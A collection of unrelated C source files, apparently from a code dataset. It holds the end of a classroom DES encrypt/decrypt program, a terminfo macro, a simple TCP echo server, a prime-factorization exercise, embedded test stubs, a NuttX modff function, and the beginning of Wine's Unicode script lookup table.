printf("\n>Key in Hexadecimal used for encryption : ");
for(i=0;i<16;i++)
printf("%c",key_hex[i]);
/*printf("\n");
for(i=0;i<64;i++)
printf("%c",key_bin[i]); */
for(m=0;m<d;m++)
{
for(i=0;i<16;i++)
input_hex[i]=hex_arr[m][i];
/*printf("\n\n");
for(i=0;i<16;i++)
printf("%c",input_hex[i]);
printf("\n");*/
/******************* Plain Text in Binary *****************/
hex_to_bin(input_hex,input_bin);
/*printf("\n");
for(i=0;i<64;i++)
printf("%c",input_bin[i]);*/
/******************* First Round of Permutation *****************/
permutation(key_bin,key_PC1);
/*for(i=0;i<56;i++)
printf("%c",key_PC1[i]); */
make_half(key_PC1,C0,D0);
/*printf("\n\nC0 : ");
for(i=0;i<28;i++)
printf("%c",C0[i]);
printf("\n\nD0 : ");
for(i=0;i<28;i++)
printf("%c",D0[i]);*/
/******************** Shifting Begins *********************/
single_shift(C0,C1);
single_shift(D0,D1);
/*printf("\n\nC1 : ");
for(i=0;i<28;i++)
printf("%c",C1[i]);
printf("\n\nD1 : ");
for(i=0;i<28;i++)
printf("%c",D1[i]); */
single_shift(C1,C2);
single_shift(D1,D2);
double_shift(C2,C3);
double_shift(D2,D3);
double_shift(C3,C4);
double_shift(D3,D4);
double_shift(C4,C5);
double_shift(D4,D5);
double_shift(C5,C6);
double_shift(D5,D6);
double_shift(C6,C7);
double_shift(D6,D7);
double_shift(C7,C8);
double_shift(D7,D8);
single_shift(C8,C9);
single_shift(D8,D9);
double_shift(C9,C10);
double_shift(D9,D10);
double_shift(C10,C11);
double_shift(D10,D11);
double_shift(C11,C12);
double_shift(D11,D12);
double_shift(C12,C13);
double_shift(D12,D13);
double_shift(C13,C14);
double_shift(D13,D14);
double_shift(C14,C15);
double_shift(D14,D15);
single_shift(C15,C16);
single_shift(D15,D16);
/******************** Shifting Ends *********************/
/*************** 16 Keys Generation Begins **************/
make_key(C1,D1,CD1);
permutation_48(CD1,K1);
/*printf("\n\nCD1 : ");
for(i=0;i<56;i++)
printf("%c",CD1[i]);
printf("\n\nK1 : ");
for(i=0;i<48;i++)
printf("%c",K1[i]);*/
make_key(C2,D2,CD2);
permutation_48(CD2,K2);
make_key(C3,D3,CD3);
permutation_48(CD3,K3);
make_key(C4,D4,CD4);
permutation_48(CD4,K4);
make_key(C5,D5,CD5);
permutation_48(CD5,K5);
make_key(C6,D6,CD6);
permutation_48(CD6,K6);
make_key(C7,D7,CD7);
permutation_48(CD7,K7);
make_key(C8,D8,CD8);
permutation_48(CD8,K8);
make_key(C9,D9,CD9);
permutation_48(CD9,K9);
make_key(C10,D10,CD10);
permutation_48(CD10,K10);
make_key(C11,D11,CD11);
permutation_48(CD11,K11);
make_key(C12,D12,CD12);
permutation_48(CD12,K12);
make_key(C13,D13,CD13);
permutation_48(CD13,K13);
make_key(C14,D14,CD14);
permutation_48(CD14,K14);
make_key(C15,D15,CD15);
permutation_48(CD15,K15);
make_key(C16,D16,CD16);
permutation_48(CD16,K16);
/*************** 16 Keys Generation Ends **************/
permutation_64(input_bin,L0,R0);
/************ 16 Rounds of Encryption *****************/
des_round(L1,R1,L0,R0,ER0,K1,F1);
/*printf("\n\nL1 : ");
for(i=0;i<32;i++)
printf("%c",L1[i]);
printf("\n\nR1 : ");
for(i=0;i<32;i++)
printf("%c",R1[i]);*/
des_round(L2,R2,L1,R1,ER1,K2,F2);
des_round(L3,R3,L2,R2,ER2,K3,F3);
des_round(L4,R4,L3,R3,ER3,K4,F4);
des_round(L5,R5,L4,R4,ER4,K5,F5);
des_round(L6,R6,L5,R5,ER5,K6,F6);
des_round(L7,R7,L6,R6,ER6,K7,F7);
des_round(L8,R8,L7,R7,ER7,K8,F8);
des_round(L9,R9,L8,R8,ER8,K9,F9);
des_round(L10,R10,L9,R9,ER9,K10,F10);
des_round(L11,R11,L10,R10,ER10,K11,F11);
des_round(L12,R12,L11,R11,ER11,K12,F12);
des_round(L13,R13,L12,R12,ER12,K13,F13);
des_round(L14,R14,L13,R13,ER13,K14,F14);
des_round(L15,R15,L14,R14,ER14,K15,F15);
des_round(L16,R16,L15,R15,ER15,K16,F16);
for(i=0;i<32;i++)
{
encrypted[i]=R16[i];
encrypted[i+32]=L16[i];
}
common_permutation(encrypted,encry_permut);
encry_permut[64]='\0';
printf("\nEncrypted(bin):%s\n",encry_permut);
encryption=bin_to_hex(encry_permut);
for(i=0;i<16;i++)
{
encryption_final[++p]=*(encryption+i);
// encryption_final1[i]=*(encryption+i);
// printf("%c ",encryption_final[p]);
}
/****************** 16 Rounds of Decryption ****************/
des_round_decry(L16,R16,L15,R15,ER15,K16,F16);
des_round_decry(L15,R15,L14,R14,ER14,K15,F15);
des_round_decry(L14,R14,L13,R13,ER13,K14,F14);
des_round_decry(L13,R13,L12,R12,ER12,K13,F13);
des_round_decry(L12,R12,L11,R11,ER11,K12,F12);
des_round_decry(L11,R11,L10,R10,ER10,K11,F11);
des_round_decry(L10,R10,L9,R9,ER9,K10,F10);
des_round_decry(L9,R9,L8,R8,ER8,K9,F9);
des_round_decry(L8,R8,L7,R7,ER7,K8,F8);
des_round_decry(L7,R7,L6,R6,ER6,K7,F7);
des_round_decry(L6,R6,L5,R5,ER5,K6,F6);
des_round_decry(L5,R5,L4,R4,ER4,K5,F5);
des_round_decry(L4,R4,L3,R3,ER3,K4,F4);
des_round_decry(L3,R3,L2,R2,ER2,K3,F3);
des_round_decry(L2,R2,L1,R1,ER1,K2,F2);
des_round_decry(L1,R1,L0,R0,ER0,K1,F1);
for(i=0;i<32;i++)
{
decrypted[i]=L0[i];
decrypted[i+32]=R0[i];
}
common_permutation(decrypted,decry_permut);
//decry_permut[64]='\0';
decryption=bin_to_hex(decry_permut);
// printf("%s\n",decryption);
for(i=0;i<16;i++)
{
decryption_final_hex[++q]=*(decryption+i);
}
}
encryption_final[p+1]='\0';
printf("\n\n>Encrypted Output : ");
printf("%s",encryption_final);
decryption_final_hex[q+1]='\0';
printf("\n\n>Decrypted Output in Hexadecimal: ");
printf("%s",decryption_final_hex);
hex_to_plain(decryption_final_hex,decryption_final_plain,q+1);
printf("\n>Decrypted Output in Plain Text: ");
printf("%s\n",decryption_final_plain);
//getch();
}
void hex_to_bin(char *input,char *in)
{
short i,j,k,lim=0;
for(i=0;i<16;i++)
{
for(j=0;j<16;j++)
{
if(*(input+i)==hex[j])
{
for(k=0;k<4;k++)
{
*(in+lim)=bin[j][k];
lim++;
}
}
}
}
}
char* bin_to_hex(char *bit)
{
char tmp[5],*out;
short lim=0,i,j;
out=(char*)malloc(16*sizeof(char));
for(i=0;i<64;i=i+4)
{
tmp[0]=bit[i];
tmp[1]=bit[i+1];
tmp[2]=bit[i+2];
tmp[3]=bit[i+3];
tmp[4]='\0';
for(j=0;j<16;j++)
{
if((strcmp(tmp,bin[j]))==0)
{
out[lim++]=hex[j];
break;
}
}
}
out[lim]='\0';
return out;
}
void hex_to_plain(char *in,char *out,int t)
{
int i,j=0,z,sum;
char temp[3];
for(i=0;i<t;i=i+2)
{
sum=0;
temp[0]=in[i];
if(temp[0]>=65 && temp[0]<=71)
z=switch_case(temp[0]);
else
z=temp[0]-48;
sum=sum+z*16;
temp[1]=in[i+1];
if(temp[1]>=65 && temp[1]<=71)
z=switch_case(temp[1]);
else
z=temp[1]-48;
sum=sum+z*1;
temp[2]='\0';
*(out+j)=sum;
j++;
}
*(out+j)='\0';
}
int switch_case(char a)
{
switch(a)
{
case 'A':
return(10);
break;
case 'B':
return(11);
break;
case 'C':
return(12);
break;
case 'D':
return(13);
break;
case 'E':
return(14);
break;
case 'F':
return(15);
break;
}
}
void permutation(char *key_bin,char *key_PC1)
{
short i,j,k=0,temp;
for(i=0;i<8;i++)
{
for(j=0;j<7;j++)
{
temp=PC1[i][j]-1;
*(key_PC1+k)=*(key_bin+temp);
k++;
}
}
}
void make_half(char *key_PC1,char *a,char *b)
{
int i,j=0;
for(i=0;i<56;i++)
{
if(i<28)
*(a+i)=*(key_PC1+i);
else
{
*(b+j)=*(key_PC1+i);
j++;
}
}
}
void single_shift(char *p,char *q)
{
int i;
*(q+27)=*(p+0);
for(i=0;i<27;i++)
*(q+i)=*(p+(i+1));
}
void double_shift(char *p,char *q)
{
int i;
*(q+26)=*(p+0);
*(q+27)=*(p+1);
for(i=0;i<26;i++)
*(q+i)=*(p+(i+2));
}
void make_key(char *a,char *b,char *c)
{
int i;
for(i=0;i<28;i++)
*(c+i)=*(a+i);
for(i=28;i<56;i++)
*(c+i)=*(b+(i-28));
}
void permutation_48(char *CD,char *K)
{
short i,j,m=0,temp;
for(i=0;i<8;i++)
{
for(j=0;j<6;j++)
{
temp=PC2[i][j]-1;
*(K+m)=*(CD+temp);
m++;
}
}
}
void permutation_64(char *in,char *L,char *R)
{
int i,j,m=0,temp;
for(i=0;i<4;i++)
{
for(j=0;j<8;j++)
{
temp=IP[i][j]-1;
*(L+m)=*(in+temp);
m++;
}
}
m=0;
for(i=4;i<8;i++)
{
for(j=0;j<8;j++)
{
temp=IP[i][j]-1;
*(R+m)=*(in+temp);
m++;
}
}
}
void des_round(char *L1,char *R1,char *L0,char *R0,char *ER0,char *K1,char *F1)
{
char t[3],tp[5],f[32];
int temp,i,row,column,j,limit=0;
copy(L1,R0);
permut_48(R0,ER0);
/*printf("\nER0 : ");
for(i=0;i<48;i++)
printf("%c",ER0[i]);*/
xor(K1,ER0,F1);
/*printf("\nF1 : ");
for(i=0;i<48;i++)
printf("%c",F1[i]);*/
for(i=0;i<48;i=i+6)
{
t[0]=F1[i];
t[1]=F1[i+5];
t[2]='\0';
for(j=0;j<4;j++)
{
if(strcmp(t,look_up[j])==0)
{
row=j;
/*printf("%d",row);*/
break;
}
}
tp[0]=F1[i+1];
tp[1]=F1[i+2];
tp[2]=F1[i+3];
tp[3]=F1[i+4];
tp[4]='\0';
for(j=0;j<16;j++)
{
if(strcmp(tp,bin[j])==0)
{
column=j;
break;
}
}
switch(i)
{
case 0:
temp=s1[row][column];
break;
case 6:
temp=s2[row][column];
break;
case 12:
temp=s3[row][column];
break;
case 18:
temp=s4[row][column];
break;
case 24:
temp=s5[row][column];
break;
case 30:
temp=s6[row][column];
break;
case 36:
temp=s7[row][column];
break;
case 42:
temp=s8[row][column];
break;
}
for(j=0;j<4;j++)
{
SB[limit]=bin[temp][j];
limit++;
}
}
SB[limit]='\0';
/*printf("\nSB : %s",SB); */
permutation_32(SB,f);
SB[0]='\0';
xor_32(L0,f,R1);
}
void des_round_decry(char *L1,char *R1,char *L0,char *R0,char *ER0,char *K1,char *F1)
{
char tp[5],f[32];
short temp,i,row,column,j,limit=0;
copy(L1,R0);
permut_48(R0,ER0);
xor(K1,ER0,F1);
for(i=0;i<48;i=i+6)
{
tp[0]=F1[i];
tp[1]=F1[i+5];
tp[2]='\0';
for(j=0;j<4;j++)
{
if(strcmp(tp,look_up[j])==0)
{
row=j;
break;
}
}
tp[0]=F1[i+1];
tp[1]=F1[i+2];
tp[2]=F1[i+3];
tp[3]=F1[i+4];
tp[4]='\0';
for(j=0;j<16;j++)
{
if(strcmp(tp,bin[j])==0)
{
column=j;
break;
}
}
switch(i)
{
case 0:
temp=s1[row][column];
break;
case 6:
temp=s2[row][column];
break;
case 12:
temp=s3[row][column];
break;
case 18:
temp=s4[row][column];
break;
case 24:
temp=s5[row][column];
break;
case 30:
temp=s6[row][column];
break;
case 36:
temp=s7[row][column];
break;
case 42:
temp=s8[row][column];
break;
}
for(j=0;j<4;j++)
{
SB[limit]=bin[temp][j];
limit++;
}
}
SB[limit]='\0';
permutation_32(SB,f);
SB[0]='\0';
xor_32(L0,f,R1);
}
void copy(char *L,char *R)
{
int i;
for(i=0;i<32;i++)
*(L+i)=*(R+i);
}
void permut_48(char *R,char *ER)
{
short i,j,m=0,temp;
for(i=0;i<8;i++)
{
for(j=0;j<6;j++)
{
temp=E_bit[i][j]-1;
*(ER+m)=*(R+temp);
m++;
}
}
}
void xor(char *K,char *ER,char *F)
{
int i,m=0;
for(i=0;i<48;i++)
{
if((*(K+i)=='1' && *(ER+i)=='1') || (*(K+i)=='0' && *(ER+i)=='0'))
{
*(F+m)='0';
m++;
}
else
{
*(F+m)='1';
m++;
}
}
}
void xor_32(char *L0,char *f,char *R1)
{
short i,m=0;
for(i=0;i<32;i++)
{
if((*(L0+i)=='1' && *(f+i)=='1') || (*(L0+i)=='0' && *(f+i)=='0'))
{
*(R1+m)='0';
m++;
}
else
{
*(R1+m)='1';
m++;
}
}
}
void permutation_32(char *SB1,char *f)
{
short i,j,m=0,temp;
for(i=0;i<8;i++)
{
for(j=0;j<4;j++)
{
temp=sb_permutation[i][j]-1;
*(f+m)=*(SB1+temp);
m++;
}
}
}
void common_permutation(char *in,char *out)
{
short i,j,temp,m=0;
for(i=0;i<8;i++)
{
for(j=0;j<8;j++)
{
temp=ip_inverse[i][j]-1;
out[m]=in[temp];
m++;
}
}
}
|
the_stack_data/168892879.c | #include <term.h>
#define key_f49 tigetstr("kf49")
/** f49 key **/
/*
TERMINFO_NAME(kf49)
TERMCAP_NAME(Fd)
XOPEN(400)
*/
|
the_stack_data/165765854.c | #include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
int main(int argc, char** argv) {
int sd;
int port=8080;
struct sockaddr_in addr;
if ( argc != 2 )
printf("usage: %s <portnum>\n...Using default port (%d).\n", argv[0], port);
else {
printf("using port: %s\n",argv[1]);
port = atoi(argv[1]);
}
sd = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = INADDR_ANY;
if ( bind(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0 )
printf("error bind");
if ( listen(sd, 20) != 0 )
printf("error listen");
while (1)
{
printf("Entrei no while(1)\n");
char buffer[1024];
char* buffer2; //= "MENSAGEM A SER EXIBIDA NO BROWSER\n";
int client = accept(sd, 0, 0);
printf("connected\n");
send(client,"CONECTOU",8,0);
recv(client,buffer,sizeof(buffer),0);
printf("primeiro recv buffer: %s",buffer);
send(client, buffer, recv(client, buffer, sizeof(buffer), 0), 0);
printf("segundo recv buffer: %s",buffer);
close(client);
}
return 0;
}
|
the_stack_data/67979.c | /*
Input:first line contain an integer N from STDIN
Output:sequence of P(i) in increasing order separated by space (sequence of P(i) should form N if we multiply them together)
Constraints:2<=N<=10000
Example:
Example 1
40
2 2 2 5
Example 2
15
3 5
*/
#include<stdio.h>
int main()
{
//declare variable here
int N;
scanf("%d",&N);
int i=2;
while(1){
if(N==1)
break;
if(N%i==0){
printf("%d ",i);
N = N/i;
}
else
i++;
}
return 0;
//write your code here
}
|
the_stack_data/14199472.c | #include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
char _bootcom_start[16];
void scb_reset_system(void)
{
printf("scb_reset_system!\n");
}
uint32_t get_ticks(void)
{
return 0;
}
void delay_ms(uint32_t t)
{
(void) t;
}
void usart_send_blocking(uint32_t usart, char ch)
{
printf("TX 0x%02x ('%c')\n", ch, ch);
}
|
the_stack_data/121244.c |
extern int a;
void d3() {
}
|
the_stack_data/48576459.c | /****************************************************************************
* libc/math/lib_modff.c
*
* This file is a part of NuttX:
*
* Copyright (C) 2012 Gregory Nutt. All rights reserved.
* Ported by: Darcy Gong
*
* It derives from the Rhombs OS math library by Nick Johnson which has
* a compatibile, MIT-style license:
*
* Copyright (C) 2009-2011 Nick Johnson <nickbjohnson4224 at gmail.com>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#include <math.h>
/****************************************************************************
* Public Functions
****************************************************************************/
float modff(float x, float *iptr)
{
if (fabsf(x) >= 8388608.0F)
{
*iptr = x;
return 0.0F;
}
else if (fabsf(x) < 1.0F)
{
*iptr = 0.0F;
return x;
}
else
{
*iptr = (float)(int)x;
return (x - *iptr);
}
}
|
the_stack_data/184518678.c | /* Unicode Script IDs */
/* generated from http://www.unicode.org/Public/8.0.0/ucd/Scripts.txt */
/* DO NOT EDIT!! */
const unsigned short wine_scripts_table[5808] =
{
/* level 1 offsets */
0x0100, 0x0110, 0x0120, 0x0130, 0x0140, 0x0150, 0x0160, 0x0170,
0x0180, 0x0190, 0x01a0, 0x01b0, 0x01c0, 0x01d0, 0x01e0, 0x01f0,
0x0200, 0x0210, 0x0220, 0x0230, 0x0240, 0x0240, 0x0250, 0x0260,
0x0270, 0x0280, 0x0290, 0x02a0, 0x02b0, 0x02c0, 0x0110, 0x02d0,
0x02e0, 0x02f0, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240,
0x0300, 0x0240, 0x0240, 0x0240, 0x0310, 0x0320, 0x0330, 0x0340,
0x0350, 0x0360, 0x0370, 0x0380, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x03a0, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390,
0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0390, 0x0340,
0x03b0, 0x03b0, 0x03b0, 0x03b0, 0x03c0, 0x03d0, 0x03e0, 0x03f0,
0x0400, 0x0410, 0x0420, 0x0430, 0x0210, 0x0210, 0x0210, 0x0210,
0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210,
0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210,
0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210,
0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210,
0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0210, 0x0440,
0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240,
0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240,
0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240,
0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240, 0x0240,
0x0240, 0x0390, 0x0450, 0x0460, 0x0470, 0x0480, 0x0490, 0x04a0,
/* level 2 offsets */
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04c0, 0x04d0, 0x04c0, 0x04d0,
0x04b0, 0x04b0, 0x04e0, 0x04e0, 0x04f0, 0x0500, 0x04f0, 0x0500,
0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0,
0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0,
0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0, 0x04f0,
0x04f0, 0x04f0, 0x04f0, 0x0510, 0x04b0, 0x04b0, 0x0520, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x0530,
0x0540, 0x0550, 0x0560, 0x0550, 0x0550, 0x0550, 0x0570, 0x0550,
0x0580, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580,
0x0590, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580, 0x0580,
0x0580, 0x0580, 0x0580, 0x05a0, 0x05b0, 0x05c0, 0x05a0, 0x05b0,
0x05d0, 0x05e0, 0x05f0, 0x05f0, 0x0600, 0x05f0, 0x0610, 0x0620,
0x0630, 0x0640, 0x0650, 0x0650, 0x0660, 0x0670, 0x0650, 0x0680,
0x0650, 0x0650, 0x0650, 0x0650, 0x0650, 0x0690, 0x0650, 0x0650,
0x06a0, 0x06b0, 0x06b0, 0x06b0, 0x06c0, 0x0650, 0x0650, 0x0650,
0x06d0, 0x06d0, 0x06d0, 0x06e0, 0x06f0, 0x06f0, 0x06f0, 0x0700,
0x0710, 0x0710, 0x0720, 0x0730, 0x0740, 0x0750, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x0650, 0x0760, 0x04b0, 0x04b0, 0x0770, 0x0650,
0x0780, 0x0780, 0x0780, 0x0780, 0x0780, 0x0790, 0x07a0, 0x0780,
0x07b0, 0x07c0, 0x07d0, 0x07e0, 0x07f0, 0x0800, 0x0810, 0x0820,
0x0830, 0x0840, 0x0850, 0x0860, 0x0870, 0x0880, 0x0890, 0x08a0,
0x08b0, 0x08c0, 0x08d0, 0x08e0, 0x08f0, 0x0900, 0x0910, 0x0920,
0x0930, 0x0940, 0x0950, 0x0960, 0x0970, 0x0980, 0x0990, 0x09a0,
0x09b0, 0x09c0, 0x09d0, 0x09e0, 0x09f0, 0x0a00, 0x0a10, 0x0a20,
0x0a30, 0x0a40, 0x0a50, 0x0a60, 0x0a70, 0x0a80, 0x0a90, 0x0aa0,
0x0ab0, 0x0ac0, 0x0ad0, 0x0ae0, 0x0af0, 0x0b00, 0x0b10, 0x0b20,
0x0b30, 0x0b40, 0x0b50, 0x0b60, 0x0b70, 0x0b80, 0x0b90, 0x0ba0,
0x0bb0, 0x0bc0, 0x0bd0, 0x0be0, 0x0bf0, 0x0c00, 0x0c10, 0x0c20,
0x0c30, 0x0c40, 0x0c40, 0x0c50, 0x0c40, 0x0c60, 0x04b0, 0x04b0,
0x0c70, 0x0c80, 0x0c90, 0x0ca0, 0x0cb0, 0x0cc0, 0x04b0, 0x04b0,
0x0cd0, 0x0cd0, 0x0cd0, 0x0cd0, 0x0ce0, 0x0cd0, 0x0cf0, 0x0d00,
0x0cd0, 0x0ce0, 0x0cd0, 0x0d10, 0x0d10, 0x0d20, 0x04b0, 0x04b0,
0x0d30, 0x0d30, 0x0d30, 0x0d30, 0x0d30, 0x0d30, 0x0d30, 0x0d30,
0x0d30, 0x0d30, 0x0d40, 0x0d40, 0x0d50, 0x0d40, 0x0d40, 0x0d60,
0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70,
0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70, 0x0d70,
0x0d80, 0x0d80, 0x0d80, 0x0d80, 0x0d90, 0x0da0, 0x0d80, 0x0d80,
0x0d90, 0x0d80, 0x0d80, 0x0db0, 0x0dc0, 0x0dd0, 0x0d80, 0x0d80,
0x0d80, 0x0dc0, 0x0d80, 0x0d80, 0x0d80, 0x0de0, 0x0d80, 0x0df0,
0x0d80, 0x0e00, 0x0e10, 0x0e10, 0x0e10, 0x0e10, 0x0e10, 0x0e20,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x0e30, 0x0e40, 0x0e50, 0x0e50, 0x0e50, 0x0e50, 0x0e60, 0x0e70,
0x0e80, 0x0e90, 0x0ea0, 0x0eb0, 0x0ec0, 0x0ed0, 0x0ee0, 0x0ef0,
0x0f00, 0x0f00, 0x0f00, 0x0f00, 0x0f00, 0x0f10, 0x0f20, 0x0f20,
0x0f30, 0x0f40, 0x0f50, 0x0f50, 0x0f50, 0x0f50, 0x0f50, 0x0f60,
0x0f50, 0x0f50, 0x0f70, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x0f80, 0x0f90, 0x0fa0, 0x0fa0, 0x0fb0, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x0f00, 0x0f00,
0x0fc0, 0x0fd0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x0fe0, 0x0fe0, 0x0fe0, 0x0fe0, 0x0ff0, 0x0fe0, 0x0fe0, 0x1000,
0x1010, 0x1010, 0x1010, 0x1010, 0x1020, 0x1020, 0x1020, 0x1030,
0x1040, 0x1040, 0x1040, 0x1050, 0x1060, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x1070, 0x04b0, 0x04b0, 0x04b0,
0x04f0, 0x04f0, 0x1080, 0x04f0, 0x04f0, 0x1090, 0x10a0, 0x10b0,
0x04f0, 0x04f0, 0x04f0, 0x10c0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x0550, 0x10d0, 0x0550, 0x0550, 0x10d0, 0x10e0, 0x0550, 0x10f0,
0x0550, 0x0550, 0x0550, 0x1100, 0x1100, 0x1110, 0x0550, 0x1120,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x1130,
0x04b0, 0x1140, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x1150, 0x1160, 0x1170, 0x04b0, 0x04f0, 0x04f0,
0x0510, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180,
0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180, 0x1180,
0x1190, 0x1190, 0x11a0, 0x1190, 0x1190, 0x11a0, 0x04f0, 0x04f0,
0x11b0, 0x11b0, 0x11b0, 0x11b0, 0x11b0, 0x11b0, 0x11b0, 0x11c0,
0x0d40, 0x0d40, 0x0d50, 0x11d0, 0x11d0, 0x11d0, 0x11e0, 0x11f0,
0x0d80, 0x1200, 0x1210, 0x1210, 0x1210, 0x1210, 0x0580, 0x0580,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1220, 0x1230, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1240,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1250, 0x04b0, 0x04b0,
0x1260, 0x04b0, 0x1270, 0x1280, 0x1290, 0x12a0, 0x12a0, 0x12a0,
0x12a0, 0x12b0, 0x12c0, 0x12d0, 0x12d0, 0x12d0, 0x12d0, 0x12e0,
0x12f0, 0x1300, 0x1310, 0x1320, 0x0d70, 0x0d70, 0x0d70, 0x0d70,
0x1330, 0x04b0, 0x1300, 0x1340, 0x04b0, 0x04b0, 0x04b0, 0x12d0,
0x0d70, 0x1330, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x0d70, 0x1330,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x12d0, 0x12d0, 0x1350,
0x12d0, 0x12d0, 0x12d0, 0x12d0, 0x12d0, 0x1360, 0x04b0, 0x04b0,
0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220,
0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220, 0x1220,
0x1220, 0x1220, 0x1220, 0x1250, 0x04b0, 0x04b0, 0x04b0, 0x04b0,
0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370,
0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370,
0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370, 0x1370,
0x1380, 0x1370, 0x1370, 0x1370, 0x1390, 0x13a0, 0x13a0, 0x13a0,
0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0, 0x13b0,
